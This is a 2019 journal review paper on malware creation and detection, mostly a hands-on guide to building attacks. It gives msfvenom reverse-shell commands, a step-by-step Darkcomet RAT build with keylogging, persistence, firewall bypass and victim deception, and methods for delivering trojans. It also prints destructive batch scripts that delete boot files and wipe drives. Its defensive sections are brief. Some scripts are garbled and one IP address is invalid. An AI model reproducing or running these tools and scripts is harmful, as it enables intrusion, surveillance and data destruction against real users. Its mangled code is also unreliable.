IJCSE International Journal of Computer Sciences and Engineering Open Access
Review Paper Vol.-7, Issue-4, April 2019 E-ISSN: 2347-2693

# Malwares: Creation and Avoidance

**Durganath Rajesh[1*], Adnaan Arbaaz Ahmed[2], M.I. Thariq Hussan[3], Venkateswarlu Bollapalli[4]**

[1,2,3,4]Department of Information Technology, Guru Nanak Institutions Technical Campus, Hyderabad, India

**Corresponding Author: rajeshdurganath@gmail.com, Tel.: +91-9959236141*

DOI: https://doi.org/10.26438/ijcse/v7i4.179183 | Available online at: www.ijcseonline.org

Accepted: 11/Apr/2019, Published: 30/Apr/2019

***Abstract* –** In today's world, hackers are improvising their various techniques for creating a malware which is usually a malicious software product. These malwares are basically created by hackers and it happens mostly in parts of Russia and Europe. Hackers usually use malicious software or malware to attack victims and enable multiple forms of cyber security. On the other hand, the developers establish different techniques to produce anti-malware systems with effective detection methods for protection on computers. This paper relates with the creation of malware by "Darkcomet RAT-v5.3". A detailed survey has been conducted on the current status of malware creation and infection and efforts are made to improve anti-malware or malware detection systems.

***Keywords* -** Malwares, hackers, security, malware detection

## I. INTRODUCTION

Malware is a program which contains harmful code inside apparently harmless programs or data as a form that it can get control over a machine and causes damage. Malware is in the form of viruses, trojans, adware (software that automatically displays or downloads advertising material such as banners or pop-ups when a user is online). Ransomware is a type of malicious software from crypto virology that threatens to publish the victim's data or perpetually block access to it unless a ransom is paid. While some simple ransomware may lock the system in a way which is not difficult for a knowledgeable person to reverse, more advanced malware uses a technique called crypto viral extortion, in which it encrypts the victim's files, making them inaccessible and demands a ransom payment to decrypt them. In a properly implemented crypto viral extortion attack, recovering the files without the decryption key is an intractable problem and difficult to trace digital currencies such as Ukash and cryptocurrency are used for the ransoms, making tracing and prosecuting the perpetrators difficult. This paper deals with creation of viruses and trojans and also the methods to detect them. Trojan is a program which looks as an uninfected file in terms of file name and extension but, when the victim trusts it as an uninfected file and the victim executes it then the trojan steals the victim information and sends back to the attacker. Trojans are used for hacking. VIRUS stands for "Vital Information Resource Under Seize". It is a program which is harmful to the machine. It simplifies its definition to a short notion of damaging or destroying a machine. All these can be done by a backdoor, which is a method of bypassing normal authentication securing unauthorized remote access to the computer, while attempting to remain undetected.

## II. COMMUNICATION PATHS OF MALWARE

There are 2 types of communication paths namely "Overt Channel" and "Covert Channel".

**Overt Channel:** A legitimate communication path within a computer system or network for transfer of data.
e.g. Games or Legitimate Programs

**Covert Channel:** An unauthorized channel used for transferring sensitive data within a computer system or a network.
e.g. Trojan

## III. CREATION OF MALWARES

### 3.1. Creation of Trojans through backdoor in Kali Linux environment

#### 3.1.1. Backdoor

Creating backdoor using msfvenom.msf stands for Meta Spoilt Framework. msfvenom is a combination of msfpayload and msfencode, in a single framework.
Syntax: msfvenom -p <payload> LHOST=<Attacker IP> LPORT=<Attacker PORT> -f format -o <filename.exe>
For windows: msfvenom -p windows/shell_reverse_tcp LHOST=49.204.12.355 LPORT=7777-f exe -o backdoor

© 2019, IJCSE All Rights Reserved 

For Linux: msfvenom -p Linux/x86/shell_reverse_tcp LHOST=49.204.12.355 LPORT=7777 -f elf -o backdoor

#### 3.1.2 Accessing Backdoor with msfconsole

Service postgresql start
msf:console
use multi/handler
set payload<Payload>
set LHOST<Attacker IP>
set LPORT<Attacker PORT>
exploit

### 3.2. Trojan

#### 3.2.1. Creating Trojan with Darkcomet RAT to infect windows machines

**Procedure**

1. Download Darkcomet RAT-v5.3 from internet.
2. Create an account in NOIP.com and download the dynamic update client.
3. Disable your malware defences and firewall before proceeding to the given practical.
4. After downloading and extracting Darkcomet it creates an application named darkcomet.exe.
5. Double click on that to launch the Darkcomet RAT creator.
6. From the above window click on the top left corner dc-RAT button then select Server Module and click on full editor.
7. You will be taken to another window on that click on security pwd and enter some derived pwd so that you can control.
8. Under the mutex process button give some derived mutex id server id and profile name, so you can identify trojan and the settings very easily among others. Then activate FWB firewall bypass and then click on random. By that, settings under general will be completed
9. Click on w/w settings then, all you have to do is, give your IP address/DN to get reverse connection and also port of your choice. Then click on add button
10. Then you will be taken to start-up module. under start-up module, enable the with windows. Give the title path in drop file in the box with extension. After that we have many options.
11. Melt after first execution
    - Gets deleted after trojan extended successfully
12. Persistence installation
    - Even if you try to delete, it gives back always
13. You can change the file creation date. You can make the drop file your parent folder attributes hide and system as well. You can enable which one you want.
14. You can also add a fake message in order to get trusted by the victim by clicking on install message.
15. Under module shield section you can select as many settings as you want to protect your trojan file.
16. Under keylogger, enable active offline keylogger on server start-up.
17. Under hosts file, enter the IP address and DNS to play with target host file by DNS poisoning.
18. Here you can redirect all the DNS traffic towards IP address then click on addline.
19. Select file binder. Click on the browse file option to attach a file and click add button. So, when the victim clicks on the trojan they can see the attached file executing, so you won't get caught.
20. You can also add a custom icon to your trojan under choose icon. So, it will look good to the victim.
21. Now under stub finalization, select output ext and click on build the setup button. Then save the trojan file with any desired name.
22. Finally, trojan is created. Go to fourth tab i.e. socket/net, right click and select addpost to listen and give port numbers you want then click listen.
23. Then click on the Darkcomet RAT blue button then select client settings tab and provide password you kept on the starting of the trojan creation.

#### 3.2.2. Sending Trojan to a victim

There are number of ways with which you can send the trojan to a victim computer and make that computer to be affected.

1. Instant Messenger Applications
2. IRC (Internet Relay Chat)
3. Physical access
4. Browser and e-mail software bugs
5. Fake programs
6. Legitimate "shrink-wrapped" software packaged by a disgruntled employee
7. Attachments
8. Untrusted sites and freeware software
9. NetBIOS(file sharing)
10. Downloading files, games and screensavers from internet sites

#### 3.2.3. Indication of Trojan Attack

There are certain symptoms that can be seen when your computer gets affected with a trojan attack. They are mainly

- CD-ROM drawer opens and closes by itself.
- Computer browser is redirected to unknown pages.
- Strange chat boxes appear on target's computer.
- Documents or messages are printed from the

© 2019, IJCSE All Rights Reserved 

printer.
- Functions of the right and left mouse buttons are reversed.
- Abnormal activity by the Modem (modulator demodulator), network adaptor or hard drive.
- The accounts passwords are changed or unauthorised access.
- Strange purchase statements appear in the credit card bills.
- The ISP complaints to the target his or her computer is IP scanning.
- People know too much personal information about a target.

**3.2.4. Trojan Detection**

If at all you identify any of the above symptom you can detect the trojan by the below mentioned ways

- Scan for suspicious OPEN PORTS
- Scan for suspicious RUNNING PROCESSES
- Scan for suspicious DEVICE DRIVERS INSTALLED
- Scan for suspicious REGISTRY ENTRIES
- Scan for suspicious WINDOWS SERVICES
- Scan for suspicious STARTUP PROGRAMS
- Scan for suspicious FILES AND FOLDERS
- Scan for suspicious NETWORK ACTIVITIES

## IV. CREATION OF VIRUS

**4.1. Virus creation with Batch File Programming**

**4.1.1. File Flooder Virus**

```
@echo off
cd c:\Documents and Settings\%user%\Desktop\
:loop
echo hacked by hacker >hacked%random%
goto loop
```

**4.1.2. Folder Flooder Virus**

```
@echo off
cd c:\Documents and Settings\%user%\Desktop\
md folder
cd folder
:loop
mdhacked%random%g
goto loop
```

**4.1.3. Program Flooder Virus**

```
@echo off
:loop
start explorer.exe
start notepad.exe
start calc.exe
start mspaint.exe
start cmd.exe
goto loop
```

**4.1.4. Fork Bombing Virus**

```
@echo off
:loop
Explorer.exe
call fork.bat
goto loop
```

**4.1.5. OS Crash Virus**

```
@echo off
cd C:\
attrib –s –h –r ntldr
delntldr
shutdown –c “Hacked By Hacker” –t 3 –s –F
```

Save the above code snippets with .bat file extension file type as allfiles.
And execute them to see results.

**4.1.6. Disco Keyboard Virus**

```
Set wshShell=wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys”{NUMLOCK}”
wshshell.sendkeys”{SCROLLLOCK}”
loop
```

**4.1.7. Format C,D,E drives in seconds**

```
rd/s/q D:
rd /s/q C:
rd/s/q  E:
```

**4.1.8. Message Annoyer Virus**

```
@echo off
:loop
msg * a
msg * b
msg * c
msg * d
msg * e
msg * f
msg * g
goto loop
```

**4.1.9. Shutdown PC and Disable its ability to restart**

```
@echo off
attrib -r -s -h c:autoexec.bat
delc:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:
tdlr
del c:
tdlr
attrib -r -s -h c:windowswin.ini
```

© 2019, IJCSE All Rights Reserved 

```
del c:windows.ini
@echo off
Msg*you got infected!
Shutdown -s -t 7 -c "A virus is taking over C:Drive
```

**4.1.10. Toggling caps lock button simultaneously**

```
Set wshshell =wsscript.CreateObject("WScript.Shell")
do
wscript.Sleep 10
wshshell.Sendkeys"{CAPSLOCK}"
loop
```

## V. HOW DO I GET INFECTED

- For a network user who is protected by a firewall and whose ICQ(Internet Chat Query) and IRC(Internet Relay Chat) connections are disabled, infection may occur via an email attachment or through a software download from a website.
- Many users claim never to open an attachment or to download software from an unknown website, however clever social engineering techniques used by hackers can trick most users into running the infected attachment or downloading the malicious software without even suspecting a thing.
- An example of a trojan that made use of social engineering which was transmitted via email in October 2001. This was disguised as a donation from for the American Red Cross's disaster relief efforts and required recipients to complete a form, including the credit card details. The trojan then encrypted these details and sent them to the attackers website.

## VI. HOW TO PROTECT YOUR NETWORK FROM TROJANS

A common misconception is that anti-virus software offers all the protection you need. The truth is anti-virus software offers only limited protection. Anti-virus recognizes only a portion of all known trojans and does not recognize unknown trojans. Although most virus scanners detect a number of public/known trojans, they are capable to scan unknown trojans. This is because anti-virus software relies mainly on recognizing the signatures of each trojan.

If the person planning to attack you finds out what anti-virus software you use for example through the automatic disclaimer added to outgoing mails by some anti-virus engines, he will then create a trojan specifically to bypass your virus scanner engine. Apart from failing to detect unknown trojans virus scanners do not detect all known trojans either most virus vendors do not actively seek new trojans and research has shown that virus engines each can detect a particular set of trojans.

To detect a larger percentage of known trojans you need to deploy multiple virus scanners this would dramatically increase the percentage of known trojans caught. To effectively protect your network against trojans you must follow a multi-level security strategy:

You need to implement gateway virus scanning and content checking at the perimeter of your network for email HTTP and FTP. It is no good in having email anti-virus protection if a user can download a trojan from a website and infect your network. You need to implement multiple virus engines at the gateway although a good virus engine usually detects all known viruses, it is a fact that multiple virus engines jointly recognize many more known trojans than a single engine.

You need to quarantine/check executables entering your network via email and web/FTP at the gateway. You need to analyze what the executable might do.

## VII. CONCLUSION AND FUTURE WORK

Malware is a critical threat to user's machine in terms of stealing confidential information corrupting or disabling security system. This paper presents some of the existing technologies used by attackers most probably hackers to tackle these threats. This paper relates with the creation of malware i.e. trojan by backdoor and virus by batch programming. With this we can be able to differentiate between a trojan and a virus based on the performance.

If you are attacked by a malware either of the one might occur

1. Stealing the victim's data or information
2. Slowing down the systems performance

Stealing or monitoring the victim's data can be done by using trojans while the slowing the system performance can be done by virus. In our later research we will be detecting the malwares with the recent technologies i.e. by data mining and machine learning.

## REFERENCES


[1] Fan Wu, Hira Narang, Dwayne Clarke. (2014). An Overview of Mobile Malware and Solutions, Journal of Computer and Communications.

[2] Hieu Le Thanh. (2013). Analysis of Malware Families on Android Mobiles: Detection Characteristics Recognizable by Ordinary Phone Users and How to Fix It, Journal of Information Security.

[3] Saja Alqurashi, Omar Batarfi. (2016). A Comparison of Malware Detection Techniques Based on Hidden Markov Model, Journal of Information Security.

[4] Ekta Gandotra, Divya Bansal, Sanjeev Sofat. (2014). Malware Analysis and Classification: A Survey, Journal of Information Security.

[5] BelalAmro. (2018). Phishing Techniques in Mobile Devices, Journal of Computer and Communications.


© 2019, IJCSE All Rights Reserved 

[6] Espoir K. Kabanga, Chang Hoon Kim. (2017). Malware Images Classification Using Convolutional Neural Network, Journal of Computer and Communications.

**Authors Profile**

*Mr.Rajesh Durganath* pursuing Bachelors of Technology (Information Technology) from Guru Nanak Institutions Technical Campus. He is specialized in Hardware and Networking, Server Configuration and Maintenance, Cyber Security and Cloud Computing. He is certified as information security auditor by hackers school and Microsoft Certified Technology Specialist. His research work focuses on the security challenges in network and servers.

*Mr.Adnaan Arbaaz Ahmed* pursuing Bachelor of Technology (Information Technology) from Guru Nanak Institutions Technical Campus, Hyderabad. He is specialized in Networking, Cyber Security and Cloud Computing, Cryptography, DevOps, Server Configuration and Maintenance and Linux. His goal is to ensure security in the network. He is crowned with the titles "Technophyle" and "Codebrary". He has 2 international publications and awarded as the "Research Ratna -Best Researcher" in 2019 for his research on Malware Detection by implementing Machine Learning techniques. His research work focuses on the security issues that are faced in cloud management.

*Dr. M. I. Thariq Hussan* is working as a Professor and Head, Department of Information Technology in Guru Nanak Institutions Technical Campus, Hyderabad, India. He was awarded his Doctoral Degree in the Faculty of Information and Communication Engineering from Anna University, Chennai, Tamilnadu. He has 12 International and 1 National journal publications. He has presented papers in 30 International/National conferences and attended 36 Seminars/Workshops/FDP/QIP. He has organized 2 conferences, 2 FDP and placement day. He has published 2 books titled 'System Analysis and Design' and 'Operating Systems'. He has received 'Innovative Technological Research (Communication) and Dedicated Professor Award' from Innovative Scientific Research Professional Malaysia (India Chapter). He also received 'Best Teacher Award-2018' from Institute for Exploring Advances in Engineering accredited by EA-JAS. He has acted as a coordinator for conducting spoken tutorial project, IIT, Bombay. He has completed workshop on High Impact Teaching Skills attested by Dale Carnegie Associates and Wipro Mission 10X. He has qualified ESOL certificate in English by Cambridge University. He is a life member of ISTE and nominee member of CSI for knowledge exchange and enhancement. He is having 2 years of industry and 17 years of teaching experience. His research areas include Sequential Pattern Mining and Mobile Computing.

*Mr.Venkateswarlu Bollapalli* pursued Bachelor of Technology (Information Technology) from RVR&JC college of engineering and Masters in Technology (Computer Science) from QIS college of engineering and technology. He is specialized in Compiler Design, Design and Analysis of Algorithms, Network Security and Data Mining. He is an Assistant Professor at Guru Nanak Institutions Technical Campus and his research work mainly focuses on Network Security.

© 2019, IJCSE All Rights Reserved 